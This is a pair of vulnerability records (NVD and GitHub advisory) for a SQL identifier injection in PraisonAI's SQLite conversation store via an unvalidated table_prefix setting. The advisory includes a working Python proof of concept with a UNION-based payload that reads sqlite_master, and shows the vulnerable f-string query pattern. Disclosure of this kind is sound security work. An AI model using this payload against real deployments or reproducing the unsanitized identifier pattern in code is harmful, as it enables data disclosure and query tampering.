{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "PraisonAI is a multi-agent teams system. Prior to 4.5.133, there is an SQL identifier injection vulnerability in SQLiteConversationStore where the table_prefix configuration value is directly concatenated into SQL queries via f-strings without any validation or sanitization. Since SQL identifiers cannot be safely parameterized, an attacker who controls the table_prefix value (e.g., through from_yaml or from_dict configuration input) can inject arbitrary SQL fragments that alter query structure. This enables unauthorized data access, such as reading internal SQLite tables like sqlite_master, and manipulation of query results through techniques like UNION-based injection. The vulnerability propagates from configuration input in config.py, through factory.py, to the SQL query construction in sqlite.py. Exploitation requires the ability to influence configuration input, and successful exploitation leads to internal schema disclosure and full query result tampering. This issue has been fixed in version 4.5.133."
    }
  ],
  "id": "CVE-2026-40315",
  "lastModified": "2026-04-14T04:17:16.057",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "PRESENT",
          "attackVector": "LOCAL",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 7.2,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-04-14T04:17:16.057",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/0accebb2e3c3ec2fca66bbea0444fb7a35f0b4ef"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-89"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.133"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:32:00Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `table_prefix` configuration value is directly used to construct SQL table identifiers without validation.\n\nIf an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as `sqlite_master`) and tampering with query results.\n\n---\n\n### Details\nThis allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution.\n\nThis occurs because `table_prefix` is passed from configuration (`from_yaml` / `from_dict`) into `SQLiteConversationStore` and directly concatenated into SQL queries via f-strings:\n\n```python\nsessions_table = f\"{table_prefix}sessions\"\n```\n\nThis value is then used in queries such as:\n\n```sql\nSELECT * FROM {self.sessions_table}\n```\n\nSince SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure.\n\n\n\nThe vulnerability originates from configuration input and propagates through the following flow:\n\n* **Source:** [config.py](https://github.com/MervinPraison/PraisonAI/blob/fde17acdc89cafd97ff49e9ddc81777b4445850f/src/praisonai/praisonai/persistence/config.py)\n  (`from_yaml` / `from_dict`) accepts external configuration input\n\n* **Propagation:** [factory.py](https://github.com/MervinPraison/PraisonAI/blob/fde17acdc89cafd97ff49e9ddc81777b4445850f/src/praisonai/praisonai/persistence/factory.py)\n  (`create_stores_from_config`) passes `conversation_options` without validation\n\n* **Sink:** [sqlite.py](https://github.com/MervinPraison/PraisonAI/blob/5ed5f1a6a96c829527abed15ac6d6166aafc6abd/src/praisonai/praisonai/persistence/conversation/sqlite.py)\n  Constructs SQL queries using f-strings with identifiers derived from `table_prefix`\n\nAs a result, attacker-controlled `table_prefix` is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics.\n\n### PoC\n\n#### 1. Exploit Code\nThe PoC demonstrates that attacker-controlled `table_prefix` is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure.\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: SQL identifier injection via SQLiteConversationStore.table_prefix\n\nThis demonstrates query-structure manipulation when table_prefix is attacker-controlled.\n\"\"\"\n\nimport os\nimport tempfile\n\nfrom praisonai.persistence.conversation.sqlite import SQLiteConversationStore\nfrom praisonai.persistence.conversation.base import ConversationSession\n\n\ndef run_poc() -\u003e int:\n    fd, db_path = tempfile.mkstemp(suffix=\".db\")\n    os.close(fd)\n\n    try:\n        print(f\"[+] temp db: {db_path}\")\n\n        # 1) Create normal schema and insert one legitimate session.\n        normal = SQLiteConversationStore(\n            path=db_path,\n            table_prefix=\"praison_\",\n            auto_create_tables=True,\n        )\n        normal.create_session(\n            ConversationSession(\n                session_id=\"legit-session\",\n                user_id=\"user1\",\n                agent_id=\"agent1\",\n                name=\"Legit Session\",\n                state={},\n                metadata={},\n                created_at=123.0,\n                updated_at=123.0,\n            )\n        )\n\n        normal_rows = normal.list_sessions(limit=10, offset=0)\n        print(f\"[+] normal.list_sessions() count: {len(normal_rows)}\")\n        print(f\"[+] normal first session_id: {normal_rows[0].session_id if normal_rows else None}\")\n\n        # 2) Malicious prefix (UNION-based query structure manipulation)\n        injected_prefix = (\n            \"praison_sessions WHERE 1=0 \"\n            \"UNION SELECT \"\n            \"name as session_id, \"\n            \"NULL as user_id, \"\n            \"NULL as agent_id, \"\n            \"NULL as name, \"\n            \"NULL as state, \"\n            \"NULL as metadata, \"\n            \"0 as created_at, \"\n            \"0 as updated_at \"\n            \"FROM sqlite_master -- \"\n        )\n\n        injected = SQLiteConversationStore(\n            path=db_path,\n            table_prefix=injected_prefix,\n            auto_create_tables=False,\n        )\n\n        injected_rows = injected.list_sessions(limit=10, offset=0)\n        injected_ids = [row.session_id for row in injected_rows]\n\n        print(f\"[+] injected.list_sessions() count: {len(injected_rows)}\")\n        print(f\"[+] injected session_ids (first 10): {injected_ids[:10]}\")\n\n        suspicious = any(\n            x in injected_ids\n            for x in (\"sqlite_schema\", \"sqlite_master\", \"praison_sessions\", \"praison_messages\")\n        )\n\n        if suspicious or len(injected_rows) \u003e len(normal_rows):\n            print(\"[!] PoC succeeded: list_sessions query semantics altered by table_prefix\")\n            return 0\n\n        print(\"[!] PoC inconclusive: no clear injected rows observed\")\n        return 2\n\n    finally:\n        try:\n            os.remove(db_path)\n            print(\"[+] temp db removed\")\n        except OSError:\n            pass\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(run_poc())\n```\n\n---\n\n#### 2. Expected Output\n\n![PoC Result](https://github.com/user-attachments/assets/aa46226e-c3cb-4772-b411-bfd26d328386)\nThe output shows that legitimate data is no longer returned; instead, attacker-controlled results are injected, demonstrating that query semantics have been altered.\n\n#### 3. Impact\n\n- SQL Identifier Injection\n- Query result manipulation\n- Internal schema disclosure\n\nExploitable when untrusted input can influence configuration.\n\n---\n#### Reference\n\n- https://github.com/advisories/GHSA-59g6-v3vg-f7wc",
  "id": "GHSA-x783-xp3g-mqhp",
  "modified": "2026-04-10T19:32:00Z",
  "published": "2026-04-10T19:32:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x783-xp3g-mqhp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.133"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PraisonAI: SQLiteConversationStore didn\u0027t validate table_prefix when constructing SQL queries"
}